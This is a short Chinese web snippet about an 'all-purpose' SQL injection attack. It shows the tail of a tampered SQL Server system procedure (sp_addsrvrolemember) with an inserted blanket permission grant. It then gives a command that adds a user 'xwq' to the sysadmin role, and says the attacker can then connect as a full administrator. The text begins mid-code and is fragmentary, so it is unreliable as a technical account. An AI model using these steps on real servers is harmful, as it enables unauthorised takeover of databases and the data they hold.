SQL注入攻击通杀

 @rolebit,
　　xdate2 = getdate()
　　where name = @loginame and srvid IS NULL
　　-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
　　SYSLOGINS CHANGE --
　　exec(’use master grant all to null’)
　　raiserror(15488,-1,-1,@loginame,@rolename)
　　-- FINALIZATION: RETURN SUCCESS/FAILURE
　　return (@@error) -- sp_addsrvrolemember
　　GO
　　接着再exec master..sp_addsrvrolemember xwq,sysadmin
　　这样就建立了一个SA用户了，用SQL连接器连接上就OK了。

关键词：SQL注入攻击通杀